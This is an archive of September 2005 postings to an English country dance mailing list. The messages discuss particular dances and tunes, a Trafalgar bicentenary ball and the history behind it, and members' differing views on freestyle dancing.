charset=iso-8859-1 Content-Transfer-Encoding: 7BIT References: <6BA97C60-6309-4935-A42D-2501EE161AE9-AT-research.neu.edu> Interesting subject, but as usual, everybody is expected to know EVERY dance and music that is being commented upon when most frequently one has never heard of the dance and music under discussion, let alone having danced it! Copyright? Eeek!! John, Bedford, NS -------Original Message------- ""Beach Spring"" is quite a nice dance set to a beautiful tune. I think it deserves to be known more widely. I really enjoy seeing the faces of the other half of the set going by in the serpentine figure. From: Terence Gaffney Date: 09/15/05 11:37:15 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] ""Trip to Africa"" dance call and instructions On Sep 14, 2005, at 10:31 PM, Fae Fuerst wrote: > Leslie Lasseter wrote one to Beach Spring, I think it was a couple of > years ago. Don't know if that was the first. > > On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger > writes: > >> Wow, an ECD to a shape-note tune. That's a really great idea. > ================================================================================ Archive-Date: Thu, 15 Sep 2005 09:40:31 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 From: ""allisonthompson-AT-juno.com"" Reply-To: ECD-AT-playford.slac.stanford.edu Date: Thu, 15 Sep 2005 16:38:19 GMT To: ECD-AT-ssrl04.slac.stanford.edu Subject: [ECD] Beach Spring Content-Type: multipart/alternative;boundary=""--__JWM__J59e2.1cfbS.3f54M"" Message-ID: <20050915.093848.12282.451118-AT-webmail10.nyc.untd.com> ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/plain Source for Beach Spring? -- Terence Gaffney wrote: On Sep 14, 2005, at 10:31 PM, Fae Fuerst wrote: > Leslie Lasseter wrote one to Beach Spring, I think it was a couple of > years ago. Don't know if that was the first. > > On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger > writes: > > >> Wow, an ECD to a shape-note tune. That's a really great idea. > ""Beach Spring"" is quite a nice dance set to a beautiful tune. I think it deserves to be known more widely. I really enjoy seeing the faces of the other half of the set going by in the serpentine figure. ----__JWM__J59e2.1cfbS.3f54M Content-Disposition: inline Content-Type: text/html Source for Beach Spring? -- Terence Gaffney  wrote:On Sep 14, 2005, at 10:31 PM, Fae Fuerst wrote:> Leslie Lasseter wrote one to Beach Spring, I think it was a couple of> years ago. Don't know if that was the first.>> On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger > writes:>>>> Wow, an ECD to a shape-note tune.  That's a really great idea.>""Beach Spring"" is quite a nice dance set to a beautiful tune. I thinkit deserves to be known more widely. I&nb! sp;really enjoy seeing the facesof the other half of the set going by in the serpentine figure. ----__JWM__J59e2.1cfbS.3f54M-- ================================================================================ Archive-Date: Thu, 15 Sep 2005 10:07:50 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu MIME-Version: 1.0 (Apple Message framework v734) References: <20050915.093848.12282.451118-AT-webmail10.nyc.untd.com> Message-ID: From: Terence Gaffney Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Beach Spring Date: Thu, 15 Sep 2005 13:05:30 -0400 To: ECD-AT-ssrl04.slac.stanford.edu Content-Transfer-Encoding: 7bit Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Leslie's e-mail is leslielassetter-AT-earthlink.net; I'm sure she'd be happy to share the directions to her dance with you. On Sep 15, 2005, at 4:38 PM, allisonthompson-AT-juno.com wrote: > Source for Beach Spring? > > > > -- Terence Gaffney wrote: > > > On Sep 14, 2005, at 10:31 PM, Fae Fuerst wrote: > > > Leslie Lasseter wrote one to Beach Spring, I think it was a > couple of > > years ago. Don't know if that was the first. > > > > On Wed, 14 Sep 2005 13:37:34 -0700 Jon Berger > > > writes: > > > > > >> Wow, an ECD to a shape-note tune. That's a really great idea. > > > > ""Beach Spring"" is quite a nice dance set to a beautiful tune. I think > it deserves to be known more widely. I&nb! sp;really enjoy seeing > the faces > of the other half of the set going by in the serpentine figure. ================================================================================ Archive-Date: Thu, 15 Sep 2005 21:18:17 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050916041800.98767.qmail-AT-web50404.mail.yahoo.com> Date: Thu, 15 Sep 2005 21:18:00 -0700 (PDT) From: Andy Peterson Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] can't waltz... To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit --- Alan Corkett wrote: > Andy wrote...""when people who don't know how to waltz and pivot.."" > > Now there is a subject for debate! Ask UK callers how infrequently > they do a waltz, and why? > > Obviously, waltzing is more prevalent in USA perhaps. Or Germany, in the case of Zweifache. It is a German waltz/pivot dance. It is not just a waltz tune. One of the simplest has a rhythm that just repeats wwpp, but they can get very complicated. At NEFFA they put a poster up with the formula for the dance being done, but you really just have to listen to the music and do what it tells you to do. You _must_ be able to do a turning waltz, and you _must_ be able to get around on pivot steps, or you end up running into everyone around you, thus the kamikaze designation. Here's a web page: Andy in Portland __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com ================================================================================ Archive-Date: Fri, 16 Sep 2005 04:14:28 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Fri, 16 Sep 2005 04:13:50 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area To: ecd-AT-ssrl04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii On Friday, October 21, 2005, at the Arlington Community Church, 52 Arlington Avenue in Kensington, CA (in the hills above El Cerrito, overlooking San Francisco Bay) The Bay Area English Regency Society Presents THE ADMIRAL LORD NELSON MEMORIAL DINNER at 5:30 PM (by advance reservation only ) followed by THE BATTLE OF TRAFALGAR VICTORY BALL at 8:30 PM (reserve or pay at the door) The Ball will consist of dances of Nelson's era, the late 1700s and early 1800s. All dances prompted; you need not bring a partner, nor is any expertise required. Preview the dances at the BAERS 2nd Friday Dance Party on October 14, 8:00 pm, at St. Mark's Episcopal Church (600 Colorado Avenue, 1.5 blocks west of Middlefield in Palo Alto. Separate admission, $8.) www.baers.org/fridays.html ------ October 21, 2005 200th Anniversary of Britain's Greatest Naval Victory PLEASE NOTE THAT THIS EVENT WILL TAKE PLACE ON FRIDAY OCTOBER 21, not on a Saturday. DANCING AT 8:30, not 8:00. The evening will begin at 5:30 when the doors open for the Admiral Lord Nelson Memorial Dinner, Dinner, a traditional beef (or fish alternative) buffet. Guests who wish to attend only the Battle of Trafalgar Victory Ball can arrive at 8 for dancing to begin at 8:30. Dinner/Ball reservations: $50 for reservations postmarked no later than Oct. 7. $60 postmarked Oct. 8 or later; reservations must be received by Oct 17. Trafalgar Ball ONLY: $15 mail in reservation, $20 at the door. Please contact Jolie Velazquez for more information. joltraf1805-AT-yahoo.com or 415-931-5775 evenings. October 21, 2005 200th Anniversary of Britain's Greatest Naval Victory As Napoleon threatened to invade the sceptered Isle of England, Horatio Nelson, Read Admiral of the White, took the fleet under his command to find and defeat the combined navies of France and Spain. Already a hero after his brilliant leadership in other naval victories, especially the Battle of Nile in 1798, Nelson had the hearts of the English people as well as the seamen and officers who served under him. Willing to break the long-established rules of naval warfare, he had brought his homeland victories and France its few defeats. In the summer of 1805, Nelson gathered 33 ships and led a sometimes wild-goose chase across the Atlantic and Mediterranean seas trying to second-guess where the enemy fleet may be hiding. But on the evening of Oct. 20, he finally caught up with the fleet off the Cape of Trafalgar, Spain under Admiral Villaneuve. Villaneuve knew that his 15,000 sailors were under-trained and under-equipped, and had been driven into hiding at Cadiz for several weeks, even though he outnumbered the English ships. But under direct orders from Napoleon to go out and fight, he set sail and ran right into Nelson's squadron. What Nelson did that evening and the next morning were documented with reverence. He met with his captains to give them the battle orders, which he called the ""Nelson Touch."" (Bold movement straight at ships lined up to produce mass broadsides.) He wrote last letters to his daughter Horatia and her mother, Emma Hamilton, his mistress of many years. Being a generally melancholy fellow, he also wrote a will in which he asked his nation to support the common-law family he was leaving behind. He said a famous prayer, and on deck dictated his well-known signal to the fleet, ""England expects that every man will do his duty."" Moving large fleets takes time so it was mid-day before the two armadas met in combat on the 21st. True to form, the French-Spanish fleet was lined up to maximize their firepower, but Nelson's ships were proceeding in spearhead lines that were going to cut into the defenses into order to rake the enemy ships (firing down the length rather than broadside). The tactic was a gamble because the English ships were vulnerable to raking themselves until close enough for action. But as they were moving targets, the odds were still in their favor, and it worked. Not long after Nelson's flagship, the ""Victory,"" engaged three French ships, a sniper on board the ""Redoubtable"" fired a shot that entered Nelson's shoulder and traveled down into his spine. The damage was too extensive for treatment, and he was taken below to made a comfortable as possible before the end. He lived long enough to hear from his close friend Captain Hardy that they had won a tremendous victory, having destroyed, damaged or captured the majority of the enemy fleet. Only a third of the French sailors made it back to port, and many were wounded. It was the worst defeat ever inflicted on a British enemy. When England received the news of the victory almost two weeks later the rejoicing was tempered by the lose of their greatest hero. There were balls and bonfires around the country, but the nation really pulled out all the stops for Nelson's funeral when his body arrived preserved in a cask of liquor. His coffin was made out of the mast of the ""Orient,"" the French flagship (one of the largest ever built) that had been blown up during the Battle of the Nile. His procession was witnessed by huge crowds of mourners, and he was interred in Westminster Abbey, along with royalty and notables. The ""Victory"" is the only preserved war ship of its time. Visitors to Greenwich can tour her and see where Nelson was shot and where he died below decks. Celebrations of this year's 200th anniversary of the battle and Nelson's triumph and death have taken place all year in Britain. Our event is but a modest tribute to both the man and the achievement. For more information about Nelson and his career go to www.nelsonnavy.co.uk. -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Fri, 16 Sep 2005 07:38:42 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <6.2.3.4.2.20050916093544.01e04628-AT-mail.mhtc.net> Date: Fri, 16 Sep 2005 09:38:14 -0500 To: ECD-AT-ssrl04.slac.stanford.edu From: ""M.G. Mudrey, Jr."" Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] can't waltz... References: <20050916041800.98767.qmail-AT-web50404.mail.yahoo.com> MIME-Version: 1.0 Content-Type: multipart/alternative; boundary=""=====================_42025156==.ALT"" --=====================_42025156==.ALT Content-Type: text/plain; charset=""us-ascii""; format=flowed > >Or Germany, in the case of Zweifache. It is a German waltz/pivot >dance. It is not just a waltz tune. One of the simplest has a rhythm >that just repeats wwpp, but they can get very complicated. At NEFFA >they put a poster up with the formula for the dance being done, but >you really just have to listen to the music and do what it tells you >to do. The best zweifaches are those which are not briefed, but rather just played. For those who read zweifach music it is just note, and it is up to the musician to determine how to break it out. I recall one dance years ago, and finally gave up. After the dance the musician told me it was play all waltz! with to pivot! Works best with an umpah instrument so that the pivots are really clear. mike --=====================_42025156==.ALT Content-Type: text/html; charset=""us-ascii"" Or Germany, in the case of Zweifache. It is a German waltz/pivot dance. It is not just a waltz tune. One of the simplest has a rhythm that just repeats wwpp, but they can get very complicated. At NEFFA they put a poster up with the formula for the dance being done, but you really just have to listen to the music and do what it tells you to do. The best zweifaches are those which are not briefed, but rather just played.  For those who read zweifach music it is just note, and it is up to the musician to determine how to break it out.  I recall one dance years ago, and finally gave up.  After the dance the musician told me it was play all waltz! with to pivot! Works best with an umpah instrument so that the pivots are really clear. mike --=====================_42025156==.ALT-- ================================================================================ Archive-Date: Fri, 16 Sep 2005 07:53:33 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Fri, 16 Sep 2005 15:53:25 +0100 Subject: [ECD] Re: ECD Digest V1 #1828 - Battle of Trafalgar Victory Ball, From: Nicolas Broadbridge Reply-To: ECD-AT-playford.slac.stanford.edu To: Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset=""US-ASCII"" Content-Transfer-Encoding: 7bit > His procession was witnessed by huge crowds of > mourners, and he was interred in Westminster Abbey, along with royalty and > notables. Small correction needed here. Horatio, Lord nelson was interred in the crypt of St Paul's Cathedral, in the City of London, not in Westminster Abbey, in the City of Westminster. Nicolas Broadbridge www.nicolasbroadbridge.com ================================================================================ Archive-Date: Fri, 16 Sep 2005 09:44:38 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Fri, 16 Sep 2005 09:44:02 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] Re: ECD Digest V1 #1828 - Battle of Trafalgar Victory Ball, To: Nicolas Broadbridge CC: ECD-AT-SSRL04.SLAC.STANFORD.EDU Reply-To: ECD-AT-playford.slac.stanford.edu Message-ID: <01LT3EWO3ZY69Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; CHARSET=us-ascii Nicolas wrote: > > His procession was witnessed by huge crowds of > > mourners, and he was interred in Westminster Abbey, along with royalty and > > notables. > Small correction needed here. > Horatio, Lord nelson was interred in the crypt of St Paul's Cathedral, > in the City of London, not in Westminster Abbey, in the City of > Westminster. Thanks for this correction! -- Alan -- =============================================================================== Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU Disclaimer: I speak only for myself, not SLAC or SSRL Phone: 650/926-3056 Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA 94025 =============================================================================== ================================================================================ Archive-Date: Fri, 16 Sep 2005 10:26:19 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050916172604.23761.qmail-AT-web32406.mail.mud.yahoo.com> Date: Fri, 16 Sep 2005 10:26:04 -0700 (PDT) From: Graham Christian Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] A little OT: Westminster Abbey v. St Paul's To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit Painting with VERY broad strokes, I have long felt that where Westminster is ""royal,"" St Paul's is ""national."" Military heroes and military engagements feel more present somehow at St Pauls. Graham ""Sphinx of black quartz, judge my vow."" ================================================================================ Archive-Date: Sat, 17 Sep 2005 08:21:18 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <432C344F.2010203-AT-sbcglobal.net> Date: Sat, 17 Sep 2005 08:20:47 -0700 From: Jon Berger Reply-To: ECD-AT-playford.slac.stanford.edu MIME-Version: 1.0 To: ECD-AT-ssrl04.slac.stanford.edu Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Alan Winston - SSRL Central Computing wrote: > THE BATTLE OF TRAFALGAR VICTORY BALL at 8:30 PM Tell your band that the tune for ""That Night at Trafalgar"" would make a stunning grand march. It's by Howard Evans, recorded by Brass Monkey, with words by Thomas Hardy though of course that wouldn't matter if they used it as an instrumental. I expect there'd be a few Brass Monkey fans in the crowd -- they're quite a popular band among English folkie types -- and they'd pick up on how appropriate it is. The B part switches between 4/4 and 5/4, but I guarantee nobody would notice. On the CD they switch into ""Prince William,"" another great march tune if you're not using it in the program. Incidentally, in the song, they pronounce it TRAfalgar, with the accent on the first syllable. (In Spanish, you'd put the accent on the last syllable, since it doesn't end with a vowel, an 'n', or an 's'. How in the world did we end up with the accent in the middle? -- Jon Berger http://pages.sbcglobal.net/jberger ================================================================================ Archive-Date: Sat, 17 Sep 2005 08:39:32 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <002c01c5bb9d$ae1812c0$158f4a0c-AT-compaq14453453> From: ""Paul Stamler"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area Date: Sat, 17 Sep 2005 10:37:14 -0500 MIME-Version: 1.0 Content-Type: text/plain; charset=""iso-8859-1"" Content-Transfer-Encoding: 7bit ----- Original Message ----- From: ""Jon Berger"" <> Probably the same way Chalmondeley ended up being pronounced ""Chumley"". Peace, Paul ""The English, the English, the English are best I wouldn't give tuppence for all of the rest."" ================================================================================ Archive-Date: Sat, 17 Sep 2005 09:13:51 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu References: <01LT33DALQ8K9Z0I4U-AT-SSRL.SLAC.STANFORD.EDU> <432C344F.2010203-AT-sbcglobal.net> MIME-Version: 1.0 (Apple Message framework v734) Content-Type: text/plain; charset=US-ASCII; delsp=yes; format=flowed Message-ID: <6F010519-652F-4C1D-9427-ED8EFBE3B6B0-AT-earthlink.net> CC: James Langdell Content-Transfer-Encoding: 7bit From: James Langdell Reply-To: ECD-AT-playford.slac.stanford.edu Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area Date: Sat, 17 Sep 2005 09:13:34 -0700 To: ECD-AT-ssrl04.slac.stanford.edu Jon, you've just told the band directly without needing Alan's mediation. Thanks for drawing my attention to an apt song found on a CD no further away than my basement. For the ball's grand march, I've been assembling a medley of period songs (such as Dibden's ""Tom Bowling""). If I do stray from the circa 1800 straight-and-narrow, this ""collaboration"" between a later 19th century poet/novelist and a later 20th century trumpet player is tempting to use. In the mid October nighttime When the wind raved round the land And the back sea met the front sea And our doors were blocked with sand And we heard the drub of Dead Man's Bay Where bones of thousands are We knew not what the day had done Done for us at Trafalgar Pull hard and make the North Or down we go, one says, says he We pulled and bedtime brought the storm Home snug slept we But our gallants all the while After fighting through the day Were beating up and down the dark Sou' west of Cadiz Bay The victor and the vanquished Then the storm it tossed and tore As hard they strove those worn out men Upon that surly shore Dead Nelson and his half dead crew His foes from near and far Were rolled together on the deep That night at Trafalgar On Sep 17, 2005, at 8:20 AM, Jon Berger wrote: > > Tell your band that the tune for ""That Night at Trafalgar"" would > make a > stunning grand march. It's by Howard Evans, recorded by Brass > Monkey, with > words by Thomas Hardy though of course that wouldn't matter if they > used it > as an instrumental. I expect there'd be a few Brass Monkey fans in > the > crowd -- they're quite a popular band among English folkie types -- > and > they'd pick up on how appropriate it is. The B part switches > between 4/4 > and 5/4, but I guarantee nobody would notice. On the CD they > switch into > ""Prince William,"" another great march tune if you're not using it > in the > program. > > Incidentally, in the song, they pronounce it TRAfalgar, with the > accent on > the first syllable. (In Spanish, you'd put the accent on the last > syllable, since it doesn't end with a vowel, an 'n', or an 's'. > How in the > world did we end up with the accent in the middle? > > -- > Jon Berger > http://pages.sbcglobal.net/jberger > > ================================================================================ Archive-Date: Sat, 17 Sep 2005 09:34:00 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu To: ECD-AT-ssrl04.slac.stanford.edu Date: Sat, 17 Sep 2005 12:32:32 -0400 Subject: Re: [ECD] Battle of Trafalgar Victory Ball, 10/21/05, SF Bay Area Message-ID: <20050917.123232.2188.1.ETepper-AT-juno.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit From: Ellen Tepper Reply-To: ECD-AT-playford.slac.stanford.edu > Probably the same way Chalmondeley ended up being pronounced > ""Chumley"". > The pronunciation of Erse Gets worse and worse, They spell it Cuchulain-- No fuchulain! A.D. Hope (found in An Almanac of Words at Play) ================================================================================ Archive-Date: Sat, 17 Sep 2005 15:47:02 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <20050917224643.37523.qmail-AT-web31408.mail.mud.yahoo.com> Date: Sat, 17 Sep 2005 15:46:43 -0700 (PDT) From: Deb Karl Reply-To: ECD-AT-playford.slac.stanford.edu Subject: [ECD] SF Bay Area Ballgown Bargain opportunity 9/17-9/19/05 To: ECD-AT-ssrl04.slac.stanford.edu MIME-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Transfer-Encoding: 8bit to the List: please disregard this email if you're not in San Francisco this weekend. This was the best way I could think of to spread the word to the SF folks of a fantastic ballgown/fancy dress shopping opportunity for dancers in the San Francisco Bay Area (or their daughters): I'm in town for the weekend visiting my mom. We decided to visit for the first time the Jessica McClintock Outlet. They are having an incredible clearance sale this weekend! Example: Jessica McClintock list price $145 outlet price $75 90% off outlet price final price: $7.50 (plus tax). Really. The stock consists primarily of prom dresses & bridesmaids dresses in varying lengths. Some semiformal/cocktail dresses in the smaller sizes. Also bridal gowns. I picked up two dresses for myself & five dresses for my daughter. At these prices, why not? I think the sale is just for this weekend, thru Monday. *Call* before you go to make sure it's still going on. But try to make it there - these prices are too good to miss! Jessica McClintock Outlet 1400 16th St between DeHaro & Carolina (entrance on 15th St) (this is south of Market, near the Bay) phone 415-553-8390 open Thurs - Mon 10 am - 5 pm --Deb, happily shopping in San Francisco this weekend __________________________________ Yahoo! Mail - PC Magazine Editors' Choice 2005 http://mail.yahoo.com ================================================================================ Archive-Date: Sun, 18 Sep 2005 06:59:29 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <054901c5bc59$2551b470$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <20050913210111.14331.qmail-AT-web32408.mail.mud.yahoo.com> Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Date: Sun, 18 Sep 2005 09:54:35 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit About your puzzlement: Probably because *any* movement to music is dancing, by definition. Ancient ceremonies or celebrations (religious or secular) that involve music and rhythmical movements aren't choreographed in any way but clearly the participants are dancing. Now, 'dancing really well' is a pretty snooty and entirely subjective call, isn't it? How about just appreciating that people are celebrating, expressing themselves and enjoying themselves? A dance competition, okay. But those are few are far between. Yes, dancing *is* easy. Dancing to satisfy some elevated expectations, justified or otherwise, is not. I guess you're one of those people who believes that if one's singing voice isn't 'up to snuff', best to contain it to the shower...preferably at a whisper. I like to appreciate *everyone's* dancing, especially in a social setting. Okay, sometimes it's a challenge, but if the arts were only limited to the talented, nobody would ever even try. Tom ----- Original Message ----- From: ""Graham Christian"" To: Sent: Tuesday, September 13, 2005 5:01 PM Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning > Whoa, hold up. > I never for a moment suggested that Travolta or Gray or anyone else was > not dancing with > consummate skill; or for that matter that the Charleston or swing or > anything else were formless > OR easy. Please do not attribute to me contempt for anyone else's dance > style or tradition. I was > for one dumbstruck with admiration for Travolta the last time I saw *SNF* > (and yes, Susan, I > fast-forwarded through the ""plot"" to get to the dance). I hope my remark > suggested that there is > some DISTANCE between the ""leave-me-alone-and-let-me-move-freely"" dancer > and Travolta's genuine > skill. > What puzzles me--and the point of my jest, and yes, it *was* a jest--is > how or where some get the > notion that if they simply jump up and down that they are a) dancing and > b) dancing really well. > Perhaps some have always felt, no matter the form, that dance is really > easy and requires neither > practice nor observation nor training, with predictable results. I'm just > grateful that this > personality type doesn't usually seem to be drawn to, say, bridge > construction or eye surgery > (*also* a jest; I have the greatest respect for surgeons, engineers, > bridges, and eyes). > --- Tom Vincent wrote: > >> Oh. So those sock-hops in the '50s, USO dances during WW2 and the >> dances done by flappers at speak-easies in the '20s were carefully >> choreographed group efforts. >> >> What crap! Do you have any idea of how much work Travolta went through >> to learn all the intricate moves he performed in SNF? How about >> Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and >> Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? >> Nearly every music video made in the past 20 years? >> >> Regardless of the venue or style, people that show talent on the >> dancefloor earn the respect of their peers. Those who look like >> klutzes are laughed at. Just like it's been for 400+ years. >> >> Tom >> DE >> >> --- Graham Christian wrote: >> >> > I'm afraid that, post-1965, a very great number of people expect >> > exactly this. That is, to them, >> > ""dance"" means: hop up and down, flail your arms, and roll your head. >> > Under a glitter ball, these >> > movements make you look exactly like John Travolta in *Saturday Night >> > Fever*. Really. It never >> > fails. >> >> >> -*-*-*-*-*-*-*-*-* >> Tom Vincent >> >> -*-*-*-*-*-*-*-*-* >> >> """"Conservatives saw the savagery of 9-11 and the attacks and prepared for >> war; liberals saw the >> savagery of the 9-11 attacks and wanted to prepare indictments and offer >> therapy and >> understanding for our attackers."" >> >> - Karl Rove, Fascist Idiot, June 22 2005 >> > > > Graham > ""Sphinx of black quartz, judge my vow."" ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:14:57 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <057001c5bc5b$4df4ecb0$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSZIENC1BM9YMIPU-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning Date: Sun, 18 Sep 2005 10:09:22 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit I think that looking cool at an unstructured dance is a function of dress, physical attractiveness, grace and style rather than on 'personal choreography'. Remember, at an unstructured dance, your intent is to attract a mate (even -- or especially -- a temporary one). Yes, if someone doesn't care how they are viewed, they'll be more...uh, creative. Often, alcohol is involved. ;> That entire situation is rarely present at ECDs or similar folk dances. Tom ----- Original Message ----- From: ""Alan Winston - SSRL Central Computing"" To: Sent: Tuesday, September 13, 2005 5:30 PM Subject: Re: [ECD] WAS English Dialect Website - thoughts on styles of learning > Tom wrote: > >> Oh. So those sock-hops in the '50s, USO dances during WW2 and the >> dances done by flappers at speak-easies in the '20s were carefully >> choreographed group efforts. > > Well, the ones we see in the movies like ""1941"" are. (Great jitterbug > into > brawl sequence in that movie, which has many terrific moments but doesn't, > I > think, work as a whole.) > > (Parenthetically, it seems like country-dancing is still the only thing > where > the basic unit is the couple and couples interact, couple by couple, but I > notice that various apparently couple-dance-only forms end up generating > their > own group dances. Flappers (and their men) might Charleston with partners > or > join a Charleston circle; swing dancers might join a big circle to do a > Big > Apple or a shim-sham, and sock-hoppers might make two lines and do the > Madison, > if I'm remembering the name right. Do ravers follow that impulse as > well?) > >> What crap! Do you have any idea of how much work Travolta went through >> to learn all the intricate moves he performed in SNF? How about >> Jennifer Beals in 'Flashdance'? The kids in 'Fame'? Jennifer Gray and >> Patrick Swayze in 'Dirty Dancing'? 'Drumline'? 'You Got Served'? >> Nearly every music video made in the past 20 years? > > I'm expecting it was just about as much work as Hermes Pan did with Fred > Astaire and Ginger Rogers to learn their intricate moves. However, you've > missed Graham's irony. To unpack it, he was suggesting that people who > bob up and down like chickens on the dance floor apparently have a > mistaken > image in their heads that they look as cool as John Travolta did in that > dance. > > I'd prefer it, incidentally, if you objected a little less robustly. > (It's > fine to disagree, but it seems impolite to me to say ""What crap!"") > > >> Regardless of the venue or style, people that show talent on the >> dancefloor earn the respect of their peers. Those who look like >> klutzes are laughed at. Just like it's been for 400+ years. > > But the difference since the 1960s is that, in non-structured couple dance > situations, you're _expected_ to look cool on the dance floor without > instruction. And people who are worried about looking like klutzes don't > get > out there - which is why we have that whole ""dance like there's nobody > watching"" meme - and are cut off from joy of movement and communal being, > and > dance isn't part of daily life, as it damned well ought to be. > > -- Alan > -- > =============================================================================== > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > 650/926-3056 > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA > 94025 > =============================================================================== > ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:15:11 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Message-ID: <057101c5bc5b$4e782670$71faf845-AT-Hercules> From: ""Tom Vincent"" Reply-To: ECD-AT-playford.slac.stanford.edu To: References: <01LSZQQPGBC49YJQ38-AT-SSRL.SLAC.STANFORD.EDU> Subject: Re: [ECD] Binaries on the list Date: Sun, 18 Sep 2005 10:14:00 -0400 MIME-Version: 1.0 Content-Type: text/plain; format=flowed; charset=""iso-8859-1""; reply-type=original Content-Transfer-Encoding: 7bit I'll take this opportunity to remind people that I set up an ECD yahoogroup list specifically for people to share documents. http://groups.yahoo.com/group/EnglishCountryDance Group Email Addresses Post message: EnglishCountryDance-AT-yahoogroups.com Subscribe: EnglishCountryDance-subscribe-AT-yahoogroups.com Unsubscribe: EnglishCountryDance-unsubscribe-AT-yahoogroups.com List owner: EnglishCountryDance-owner-AT-yahoogroups.com Tom ----- Original Message ----- From: ""Alan Winston - SSRL Central Computing"" To: Sent: Tuesday, September 13, 2005 9:38 PM Subject: [ECD] Binaries on the list > Gang -- > > I've been a little lax in whacking people who post in HTML lately. > > Don't do that. Use expita.com/nomime.html to learn how to turn off HTML > postings in your mailer software. > > But even more: > > DON'T POST BINARIES TO THE LIST. PDFs ARE BINARIES. Digest readers will > see > them as page after page after page of gibberish! If you have binaries, > put > them on a website - there are free web services available, heaven knows - > and > post a link. > > Alan Winston > ECD listowner > > -- > =============================================================================== > Alan Winston --- WINSTON-AT-SSRL.SLAC.STANFORD.EDU > Disclaimer: I speak only for myself, not SLAC or SSRL Phone: > 650/926-3056 > Paper mail to: SSRL -- SLAC BIN 99, 2575 Sand Hill Rd, Menlo Park CA > 94025 > =============================================================================== > ================================================================================ Archive-Date: Sun, 18 Sep 2005 07:16:30 PDT Sender: owner-ecd-AT-playford.slac.stanford.edu Date: Sun, 18 Sep 2005 07:03:18 -0700 (PDT) From: Alan Winston - SSRL Central Computing Subject: Re: [ECD] WAS English Dialect 